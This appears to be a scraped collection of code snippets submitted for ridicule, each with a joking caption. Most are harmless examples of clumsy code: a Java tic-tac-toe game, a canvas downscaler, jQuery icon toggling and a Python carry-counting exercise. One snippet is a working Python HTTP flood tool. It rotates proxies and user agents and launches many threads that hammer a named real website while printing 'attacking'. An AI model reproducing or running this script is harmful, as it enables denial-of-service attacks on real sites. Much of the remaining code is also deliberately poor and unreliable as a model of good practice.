UIButton * btn = [UIButton new];
[btn addTarget:target action:action forControlEvents:UIControlEventTouchUpInside];
//May god have mercy of me
[[btn titleLabel] setFont:[UIFont systemFontOfSize:14 weight:UIFontWeightMedium]];
[btn setTitle:[NSString stringWithFormat:@" %@ ", btnTxt] forState:UIControlStateNormal];
[btn sizeToFit];
[btn setTitle:btnTxt forState:UIControlStateNormal];
Why keep playing with label padding or insets when you can add spaces?
$(".alarmBell").on("click", () => {
let icon = $(".alarm-bell__icon")
icon.attr('data', icon.attr('data') == 'images/icon/alarm-bell.svg' ? 'images/icon/alarm-bell-filled-new.svg' : 'images/icon/alarm-bell.svg');
// $(".alarm-bell__icon").attr('data', function (index, data) {
// if (data == 'images/icon/alarm-bell-filled-new.svg') {
// return 'images/icon/alarm-bell.svg';
// } else if (data == 'images/icon/alarm-bell.svg') {
// return 'images/icon/alarm-bell-filled-new.svg';
// } else {
// return 'images/icon/alarm-bell.svg';
// }
// });
});
...after yet another icons change request
.black {
color: #000;
}
.not-black {
color: #999;
}
function downScaleCanvas(a, b) {
var c = Math.ceil,
d = Math.floor;
if (!(1 > b) || !(0 < b)) throw "scale must be a positive number <1 ";
var e = b * b,
f = a.width,
g = a.height,
h = d(f * b),
i = d(g * b),
j = 0,
k = 0,
l = 0,
m = 0,
n = 0,
o = 0,
p = 0,
q = 0,
r = 0,
s = 0,
t = 0,
u = 0,
v = 0,
x = 0,
y = 0,
z = !1,
A = !1,
B = a.getContext("2d").getImageData(0, 0, f, g).data,
C = new Float32Array(3 * h * i),
D = 0,
E = 0,
F = 0;
for (k = 0; k < g; k++)
for (n = k * b, r = 0 | n, o = 3 * r * h, A = r != (0 | n + b), A && (x = r + 1 - n, y = n + b - r - 1), j = 0; j < f; j++, l += 4) m = j * b, q = 0 | m, p = o + 3 * q, z = q != (0 | m + b), z && (u = q + 1 - m, v = m + b - q - 1), D = B[l], E = B[l + 1], F = B[l + 2], z || A ? z && !A ? (s = u * b, C[p] += D * s, C[p + 1] += E * s, C[p + 2] += F * s, t = v * b, C[p + 3] += D * t, C[p + 4] += E * t, C[p + 5] += F * t) : A && !z ? (s = x * b, C[p] += D * s, C[p + 1] += E * s, C[p + 2] += F * s, t = y * b, C[p + 3 * h] += D * t, C[p + 3 * h + 1] += E * t, C[p + 3 * h + 2] += F * t) : (s = u * x, C[p] += D * s, C[p + 1] += E * s, C[p + 2] += F * s, t = v * x, C[p + 3] += D * t, C[p + 4] += E * t, C[p + 5] += F * t, t = u * y, C[p + 3 * h] += D * t, C[p + 3 * h + 1] += E * t, C[p + 3 * h + 2] += F * t, t = v * y, C[p + 3 * h + 3] += D * t, C[p + 3 * h + 4] += E * t, C[p + 3 * h + 5] += F * t) : (C[p] += D * e, C[p + 1] += E * e, C[p + 2] += F * e);
var G = document.createElement("canvas");
G.width = h, G.height = i;
var H = G.getContext("2d"),
I = H.getImageData(0, 0, h, i),
J = I.data,
K = 0;
for (l = 0, p = 0; K < h * i; l += 3, p += 4, K++) J[p] = c(C[l]), J[p + 1] = c(C[l + 1]), J[p + 2] = c(C[l + 2]), J[p + 3] = 255;
return H.putImageData(I, 0, 0), G
}
dohhhhhh !!
string date = user.RegistrationDate.ToShortDateString().ToString();
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
O | O | O
-----------
O | O | O
-----------
O | O | O
*/
package tictactoe;
import java.util.Scanner;
public class TicTacToe {
/**
* @param args the command line arguments
* @throws java.lang.InterruptedException
*/
public static void main(String[] args) throws InterruptedException {
Scanner input = new Scanner(System.in);
String a1 = "1";
String a2 = "2";
String a3 = "3";
String a4 = "4";
String a5 = "5";
String a6 = "6";
String a7 = "7";
String a8 = "8";
String a9 = "9";
int inO;
int inX = 0;
boolean winner = false;
PrintBoard(a1,a2,a3,a4,a5,a6,a7,a8,a9);
System.out.printf("How to play - wait for your turn and when it comes write the number of the field that you want to draw in (from 1 to 9)\n");
System.out.printf("Player O's turn: ");
inO = input.nextInt();
while (true) {
switch (inO) {
case 1:
if (a1 == "1") {
a1 = "O";
}
break;
case 2:
if (a2 == "2") {
a2 = "O";
}
break;
case 3:
if (a3 == "3") {
a3 = "O";
}
break;
case 4:
if (a4 == "4") {
a4 = "O";
}
break;
case 5:
if (a5 == "5") {
a5 = "O";
}
break;
case 6:
if (a6 == "6") {
a6 = "O";
}
break;
case 7:
if (a7 == "7") {
a7 = "O";
}
break;
case 8:
if (a8 == "8") {
a8 = "O";
}
break;
case 9:
if (a9 == "9") {
a9 = "O";
}
break;
default:
System.out.printf("An error occured. Please accept it politely and restart the game.");
break;
}
System.out.printf("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n");
if (null != Winners(a1,a2,a3,a4,a5,a6,a7,a8,a9))switch (Winners(a1,a2,a3,a4,a5,a6,a7,a8,a9)) {
case "NONE":
if (a1 != "1" && a2 != "2" && a3 != "3" && a4 != "4" && a5 != "5" && a6 != "6" && a7 != "7" && a8 != "8" && a9 != "9") {
winner = true;
System.out.println("DRAW!");
Thread.sleep(3000);
break;
} else {
PrintBoard(a1,a2,a3,a4,a5,a6,a7,a8,a9);
System.out.printf("Player X's turn: ");
inX = input.nextInt();
break;
}
case "X":
winner = true;
System.out.println("X HAS WON!!!");
Thread.sleep(3000);
break;
case "O":
winner = true;
System.out.printf("O HAS WON!!!");
Thread.sleep(3000);
break;
default:
break;
}
if (winner) {
break;
}
switch (inX) {
case 1:
if (a1 == "1") {
a1 = "X";
}
break;
case 2:
if (a2 == "2") {
a2 = "X";
}
break;
case 3:
if (a3 == "3") {
a3 = "X";
}
break;
case 4:
if (a4 == "4") {
a4 = "X";
}
break;
case 5:
if (a5 == "5") {
a5 = "X";
}
break;
case 6:
if (a6 == "6") {
a6 = "X";
}
break;
case 7:
if (a7 == "7") {
a7 = "X";
}
break;
case 8:
if (a8 == "8") {
a8 = "X";
}
break;
case 9:
if (a9 == "9") {
a9 = "X";
}
break;
default:
System.out.printf("An error occured. Please accept it politely and restart the game.");
break;
}
System.out.printf("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n");
if (null != Winners(a1,a2,a3,a4,a5,a6,a7,a8,a9))switch (Winners(a1,a2,a3,a4,a5,a6,a7,a8,a9)) {
case "NONE":
if (a1 != "1" && a2 != "2" && a3 != "3" && a4 != "4" && a5 != "5" && a6 != "6" && a7 != "7" && a8 != "8" && a9 != "9") {
winner = true;
System.out.println("DRAW!");
Thread.sleep(3000);
break;
} else {
PrintBoard(a1,a2,a3,a4,a5,a6,a7,a8,a9);
System.out.printf("Player O's turn: ");
inO = input.nextInt();
break;
}
case "X":
winner = true;
System.out.println("X HAS WON!!!");
Thread.sleep(3000);
break;
case "O":
winner = true;
System.out.println("O HAS WON!!!");
Thread.sleep(3000);
break;
default:
break;
}
if (winner) {
break;
}
}
}
public static void PrintBoard(String f1, String f2, String f3, String f4, String f5, String f6, String f7, String f8, String f9) {
System.out.printf(" %s | %s | %s \n",f1,f2,f3);
System.out.printf(" ----------- \n");
System.out.printf(" %s | %s | %s \n",f4,f5,f6);
System.out.printf(" ----------- \n");
System.out.printf(" %s | %s | %s \n",f7,f8,f9);
System.out.printf(" \n");
}
public static String Winners(String f1, String f2, String f3, String f4, String f5, String f6, String f7, String f8, String f9) {
if (f1 == f2 && f2 == f3 && f3 == "O") {
return "O";
} else if (f4 == f5 && f5 == f6 && f6 == "O") {
return "O";
} else if (f7 == f8 && f8 == f9 && f9 == "O") {
return "O";
} else if (f1 == f4 && f4 == f7 && f7 == "O") {
return "O";
} else if (f2 == f5 && f5 == f8 && f8 == "O") {
return "O";
} else if (f3 == f6 && f6 == f9 && f9 == "O") {
return "O";
} else if (f1 == f5 && f5 == f9 && f9 == "O") {
return "O";
} else if (f3 == f5 && f5 == f7 && f7 == "O") {
return "O";
} else if (f1 == f2 && f2 == f3 && f3 == "X") {
return "X";
} else if (f4 == f5 && f5 == f6 && f6 == "X") {
return "X";
} else if (f7 == f8 && f8 == f9 && f9 == "X") {
return "X";
} else if (f1 == f4 && f4 == f7 && f7 == "X") {
return "X";
} else if (f2 == f5 && f5 == f8 && f8 == "X") {
return "X";
} else if (f3 == f6 && f6 == f9 && f9 == "X") {
return "X";
} else if (f1 == f5 && f5 == f9 && f9 == "X") {
return "X";
} else if (f3 == f5 && f5 == f7 && f7 == "X") {
return "X";
} else {
return "NONE";
}
}
}
There are so many problems with this...
public showOrHideLegends(seriesList: any[]) {
if (seriesList.length === 0)
return false;
else
return true;
}
more code lines => more money; that's how our contractor company thinks
try:
raise
except RuntimeError:
raise
try this in python3
<div ng-repeat="recipient in $ctrl.resource.invoiceRecipients track by $index">
<div>
{{$ctrl.resource.invoiceRecipients[$index]}}
</div>
</div>
You could easily use the "recipient" variable instead of getting it again from the array, is there a reason for doing this?
//Говорящие названия - такие говорящие!
function asdfasdf (WebAPI_Entity $screenshot_dictionary)
{
$result = array();
foreach ($screenshot_dictionary->getEntities () as $scr)
{
$result [] = $scr->toObject ();
}
usort($result, array ($this, 'sortScreenshots'));
return $this->prepare_screenshots ($result);
}
// вставляем остальные скриншоты
$elements = $this->asdfasdf ($screenshot_dictionary);
A,B=map(str,input().split()) # let's begin by casting strings to strings!
while(int(A)!=0 and int(B)!=0):
tamanhoa=0
tamanhob=0
for i in range(len(A)):
tamanhoa+=1 # wonderful way to determine the length of
# a string!
for i in range(len(B)):
tamanhob+=1
vA = [0]*tamanhoa
vB = [0]*tamanhob
if tamanhoa>tamanhob:
vA = [0]*tamanhoa # Just to make sure it really gets set!!!
vB = [0]*tamanhoa
for i in range(tamanhoa-1,-1,-1):
vA[i]=int(A[i]) # he even saved an operation by casting
# the char to int at the same time!
for i in range(tamanhob):
vB[i+1]=int(B[i])
elif tamanhoa<tamanhob:
vA = [0]*tamanhob # Just to make sure it really gets set!!!
vB = [0]*tamanhob
for i in range(tamanhoa):
vA[i+1]=int(A[i])
for i in range(tamanhob-1,-1,-1):
vB[i]=int(B[i])
tamanhoa=tamanhob
else:
for i in range(tamanhoa):
vA[i]=int(A[i])
for i in range(tamanhob):
vB[i]=int(B[i])
print(vA)
print(vB)
carry = 0
for i in range(tamanhoa-1,-1,-1):
soma = vA[i] + vB[i]
if soma > 9:
carry += 1
if vA[i-1]!= 9:
vA[i-1] += 1
else:
vB[i-1] +=1
if carry == 0:
print('No carry operation.')
elif carry == 1:
print(carry, 'carry operation.')
else:
print(carry, 'carry operations.')
A,B=map(str,input().split()) # why bother casting strings to int? yay
if int(A)==0 and int(B)==0:
break
This wonder was found within answers to a university programming test. Code as-is, comments added by me.
if (logger.isDebugEnabled()) {
logger.debug("process (FollettPojo) - start");
}
String dnum = StringUtil.toCapitalizedString(pojo.getDnum().toString());
pojo.setDnum(new String(dnum));
if (logger.isDebugEnabled()) {
logger.debug("process (FollettPojo) - middle ");
}
String rawI = StringUtil.toCapitalizedString(pojo.getRawInput().trim().toString());
pojo.setRawInput(new String(rawI));
if (logger.isDebugEnabled()) {
logger.debug("process (FollettPojo) - end ");
}
/* And you may ask what is this toCapitalizedString? Well here you go a separate class to boot */
public static String toCapitalizedString(String string){
StringBuilder strb = new StringBuilder();
if(string != null && string.trim().length() > 0
&& Character.isLetter(string.charAt(0))
&& Character.isLowerCase(string.charAt(0))){
strb.append(string.substring(0,1).toUpperCase()).append(string.substring(1));
return strb.toString();
}
return string;
}
SpringBatch this is the processor for each record...dnum example D00000000
import httpx
import random
import threading
site = 'https://sheesh.rip/'
Proxfile = 'http.txt'
users = [
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0',
'Mozilla/5.0 (Windows NT 10.0; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0',
'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0) Gecko/20100101 Firefox/89.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 11.3; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (X11; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0',
'Mozilla/5.0 (X11; Linux i686; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (X11; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (X11; Linux i686; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (iPhone; CPU iPhone OS 14_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) FxiOS/33.0 Mobile/15E148 Safari/605.1.15',
'Mozilla/5.0 (iPhone; CPU iPhone OS 11_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) FxiOS/33.0 Mobile/15E148 Safari/605.1.15',
'Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) FxiOS/7.5b3349 Mobile/14F89 Safari/603.2.4',
'Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) FxiOS/7.5b3349 Mobile/14F89 Safari/603.2.4',
'Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) FxiOS/7.5b3349 Mobile/14F89 Safari/603.2.4',
'Mozilla/5.0 (Android 11; Mobile; LG-M255; rv:88.0) Gecko/88.0 Firefox/88.0',
'Mozilla/5.0 (Android 11; Mobile; rv:68.0) Gecko/68.0 Firefox/88.0',
'Mozilla/5.0 (Android 11; Mobile; rv:88.0) Gecko/88.0 Firefox/88.0',
'Mozilla/5.0 (Android 11; Mobile; rv:87.0) Gecko/87.0 Firefox/87.0',
'Mozilla/5.0 (Android 11; Mobile; rv:85.0) Gecko/85.0 Firefox/85.0'
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4820.0 Safari/537.36',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.85 YaBrowser/21.11.4.727 Yowser/2.5 Safari/537.36',
'Mozilla/5.0 (X11; CrOS x86_64 14268.67.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.111 Safari/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 OPR/82.0.4227.50',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Edg/97.0.1072.62'
]
def main():
Proxy = random.choice(list(open(Proxfile)))
proxies = {'http://': 'http://'+Proxy}
headers = {'Accept-Encoding': 'gzip, deflate, br', 'Accept-Language': 'en-US,en;q=0.5','user-agent':random.choice(users),'X-Requested-With': 'XMLHttpRequest'}
with httpx.Client(http2=True, headers=headers,proxies=proxies,timeout=10.0) as client:
while True:
try:
for y in range(50):
r = client.get(site)
r = client.get(site)
r = client.get(site)
r = client.get(site)
r = client.get(site)
r = client.get(site)
r = client.get(site)
r = client.get(site)
r = client.get(site)
r = client.get(site)
except:
pass
while 1:
print('attacking', site)
for i in range(50):
threading.Thread(target=main, daemon=True).start()
threading.Thread(target=main, daemon=True).start()
threading.Thread(target=main, daemon=True).start()
threading.Thread(target=main, daemon=True).start()
threading.Thread(target=main, daemon=True).start()
threading.Thread(target=main, daemon=True).start()
threading.Thread(target=main, daemon=True).start()
threading.Thread(target=main, daemon=True).start()
threading.Thread(target=main, daemon=True).start()
threading.Thread(target=main, daemon=True).start()
my eyes are bleeding
from itertools import combinations as comb
from functools import reduce
def all_arrangements(k):
m=k*(k+1)/2
m_bits_on=set([tuple(reduce(lambda x,y:x[:y]+[1]+x[y+1:],c,[0]*(2*m+1))) for c in comb(range(2*m+1),m)])
return set([tuple(sorted(filter(lambda i:i>0,reduce(lambda x,y: x+[y] if y==0 else x[:-1]+[x[-1]+1,],p,[0])))) for p in m_bits_on])
Returns all arrangements in the Bulgarian solitaire game with k piles https://en.wikipedia.org/wiki/Bulgarian_solitaire
value unless value.select! { |v| v != "0" }.nil?
I don't not know no why not no one of my "predecessor" committed this shit.